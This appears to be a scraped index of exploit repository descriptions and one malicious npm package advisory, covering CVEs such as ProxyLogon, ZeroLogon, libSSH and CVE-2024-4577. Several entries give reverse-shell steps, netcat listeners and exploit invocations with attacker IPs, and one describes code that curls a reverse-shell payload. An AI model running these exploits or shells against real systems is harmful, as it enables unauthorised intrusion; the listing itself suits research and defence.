hunt-for-cve-2018-10933

Hunt for and Exploit the libSSH Authentication Bypass CVE-2018-10933 Practical Guide explaining how to find hosts vulnerable to the libSSH Authentication Bypass CVE-2018-10933 and how to exploit them to gain shell access. Please refer to the following blog post for instructions:...

CVE-2020-29669

=============== Macally WIFISD2-2A82 Writeup for CVE-2020-29669 by Maximilian Barz Silky and Daniel Schwendner code-byter ========================== This is a writeup of exploiting the Macally WIFISD2-2A82 Travel Router Firmware version: 2.000.010. The Guest user is able to reset its own password...

CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 login to portal as admin add new project sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 enjoy...

tscan

Telnetd Auth Bypass Scanner CVE-2026-24061 A Python-based scanner for detecting and exploiting the CVE-2026-24061 vulnerability in GNU Inetutils telnetd services. This tool scans IP addresses or networks for vulnerable telnetd services that allow authentication bypass leading to root shell access...

CVE-2026-41940

Based on Watch Tower POC , Supports direct shell access via websocket , and adding root api keys for persistance...

CVE-2024-4577

lol CVE-2024-4577 1. exploit command RCE value python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory find writable dir python...

CVE-2026-39987_PoC

CVE-2026-39987-PoC Disclaimer This script is for educational and authorized testing purposes ONLY. Unauthorized use of this tool against systems without explicit permission is ILLEGAL. The author is not responsible for any misuse of this information. Marimo versions prior to 0.23.0 have a critica...

webcgi-exploits

Web CGI Exploits Here's several exploits related to different web CGIs. I wrote those exploits in last few years. How it works Web app are basicly those layers: 1. applications 2. web frameworks 3. script language engines 4. web containersservers 5. web front proxynginx etc. 4 and 5 could be the...

ActiveMQ_putshell-CVE-2016-3088

ActiveMQputshell-CVE-2016-3088- ActiveMQputshell directly obtains webshell Usage： python3 ActiveMQputshell.py -u url...

CVE-2022-0848-RCE

CVE-2022-0848 Remote Code Execution RCE in part-db 0.5.11 Change the host in bash file and run, then get the shell through RCE...

poc_proxylogon

pocproxylogon Microsoft Exchange ProxyLogon PoC CVE-2021-26855 This is script was originaly made by celesian to exploit this CVE. Then i updated it to exploit an exchange server vulnerable to SSRF but it got a Shell exploiting the EWS feature, because a client company patched it's exchange server...

ace-vim-neovim

ace-vim-neovim Ejecución de código arbitrario en Vim/Neovim mediante modelines CVE-2019-12735 Uso 1. escucha nc -vlp 9999 2. ejecuta vim pocshell.txt Y entonces, tu localhost obtendrá una shell...

React2shell-CVE-2025-55182-Exploit

This repository does not have a README...

CVE-2015-4852

CVE-2015-4852 Prerequisite: Place ysoserial.jar in the script directory rename ysoserial-0.jar to ysoserial.jar. It is best to run this script on Kali Linux. 1. Usage: root@kali: python3 CVE-2015-4852.py -h Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001 Options: -h, --help show this help...

CVE-2020-11108-PoC

CVE-2020-11108-PoC Two PoCs are in this repo. cve-2020-11108-rce.py will give you a shell as the www-data user. root-cve-2020-11108-rce.py will give you a shell and escalate privileges to root. Note: This is destructive as we must overwrite teleporter.php. For a full explanation/writeup please se...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic Lab This repository contains a local lab for studying CVE-2026-34197 in Apache ActiveMQ Classic and for comparing a vulnerable instance against a patched build. The repository is organized to support two goals: Reproduce the issue in a tightly controlled, isolated...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC Usage: sudo python3 hehe.py -t -c Example: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \ \ | | | | | | | | | |...

ZeroLogon-to-Shell

This is a combination of the zerologontester.py code and the tool evil-winrm to get a shell. I just added a "os.system" to use evil-winrm. Requirements: To get the Administrator NTLM HASH I recommend you to use secretsdump tool from impacket And, of course, you need to install evil-winrm This is...

Malicious code in internallib_v275 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80c1c6d383b3defb01da235e39e08ce56276d887e63d900aea2ee689836f71b4 index.js exports a command function that invokes /bin/bash -c to curl a reverse-shell payload from reverse-shell.sh targeting the hardcoded host...

CVE-2026-102808

PX4 Autopilot through 1.17.0 contains a NULL pointer dereference vulnerability in the sdstress command where the -b byte count parameter is parsed without validation before being passed to malloc and memset. Attackers with shell access, including through MAVLink, can supply invalid byte count...